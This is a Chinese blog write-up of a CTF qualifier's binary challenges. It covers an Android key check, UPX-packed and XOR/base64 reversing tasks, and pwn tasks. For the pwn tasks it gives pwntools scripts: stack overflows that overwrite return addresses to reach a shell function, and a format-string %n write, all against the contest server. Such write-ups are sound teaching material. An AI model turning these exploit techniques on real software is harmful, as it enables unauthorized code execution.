XMAN选拔赛二进制部分Writeup

XMAN选拔赛二进制部分Writeup

停播了许久的博客今开开始继续更新。。。。。。

Mobile

First_Mobile

使用apkIDE反编译,找到关键验证函数check,关键代码如下:

public class encode
{
  private static byte[] b = { 23, 22, 26, 26, 25, 25, 25, 26, 27, 28, 30, 30, 29, 30, 32, 32 };

  public static boolean check(String paramString)
  {
    byte[] arrayOfByte2 = paramString.getBytes();
    byte[] arrayOfByte1 = new byte[16];
    for (int i = 0; i < 16; i++) {
      arrayOfByte1[i] = ((byte)(byte)((arrayOfByte2[i] + b[i]) % 61));
    }
    for (i = 0; i < 16; i++) {
      arrayOfByte1[i] = ((byte)(byte)(arrayOfByte1[i] * 2 - i));
    }
    return new String(arrayOfByte1).equals(paramString);
  }
}

爆破脚本:

b=[23,22,26,26,25,25,25,26,27,28,30,30,29,30,32,32]
c=''

for j in xrange(0,len(b)):
    for i in xrange(0,136):
        if(i==((i+b[j])%61)*2-j):
            c+=chr(i)
print c

#LOHILMNMLKHILKHI

reverse

rev2

听说exe本身还能够被压缩?
根据提示就可以知道题目肯定加壳了,PEID一查果然有一个UPX壳

用了好多UPX脱壳工具都不行,最后shell脱壳成功,成功之后再查壳没有壳。接下来就是将程序拖入IDA果然可以直接分析代码了。

可以看出关键就是md字符串和test字符串异或,知道找到这两个字符串就可以了。md很好找,test在下图位置,将这一串字符赋值到test中。

异或脚本

md=[0x10,0x6E,0x2F,0x13,0x28,0x24,0x4F,0x7,0x6A,0x22,0x65,0x7A,0x1D,0x29,0x38,0x0C,0x23,0x58,0x61,0x1A,0x1E]

mm=[0x68,0x23,0x1B,0x7D,0x53,0x73,0x7C,0x4B,0x29,0x12,0x8,0x49,0x42,0x5D,0x8,0x53,0x5B,0x15,0x55,0x54,0x63]

dd=''
for i in xrange(0,len(md)):
     dd+=chr(md[i]^mm[i])
print dd

recv3

直接IDA分析

本题的主要逻辑就是输入的字符串每一位与自身下标异或,之后base64加密与固定的字符串比较。

a='XL6M6jaW8YT_=QIE_o'
b=''
for i in xrange(0,len(a)):
   b+=chr(ord(a[i])^i)
print b

#XM4N{3lf_1S_S0_FUN}

pwn

Caaa

非常简单的栈溢出,直接覆盖带返回地址就可以了,程序中有个hackInfo函数执行system(“/bin/sh”)

from pwn import *

#p=process('./caaa')
p=remote('challenges.xctf.org.cn',14000)

hackInfo=0x40078F

payload='a'*0x20+"b"*8+p64(hackInfo)

p.sendline("1")

p.send(payload)

p.interactive()

Baaa

是一个盲pwn,经过测试发现就是个栈溢出,溢出长度为72个字节,之后将GOD提示的地址覆盖为返回地址就可以了

from pwn import *

win = 0x40060D
payload = "A"*72
payload += p64(win)
con = remote('challenges.xctf.org.cn', 14002)
con.recvuntil('>')
con.sendline(payload)
print con.recvline()

Taaa

简单的格式化字符串漏洞,想要修改值的地址在栈上,直接利用%n写入该位置即可。%n之前输入长度为85的任意字符串

from pwn import *

# p = process("./Taaa")
p = remote("challenges.xctf.org.cn", 14001)

payload = "A"*85+"%9$n"

p.sendline(payload)

p.interactive()

Raaa

这题与其说是pwn不如说是个简单的reverse,用gdb动态调试一下程序,发现每次出现的随机数都是同一个,也就是0x6b8b4567,只要输入它和0x23333333异或的结果1220048468就可以了。

Daaa

程序判断的是xman申请的对空间后面8*4的字节有没有东西,多疑先申请一个xman堆块,再申请一个cyberpeace堆块,这两个堆块是挨着的,只要在cyberpeace中输入的字符串长一点就可以了。。。。

文章目录
  1. 1. XMAN选拔赛二进制部分Writeup
    1. 1.1. Mobile
      1. 1.1.1. First_Mobile
    2. 1.2. reverse
      1. 1.2.1. rev2
      2. 1.2.2. recv3
    3. 1.3. pwn
      1. 1.3.1. Caaa
      2. 1.3.2. Baaa
      3. 1.3.3. Taaa
      4. 1.3.4. Raaa
      5. 1.3.5. Daaa
|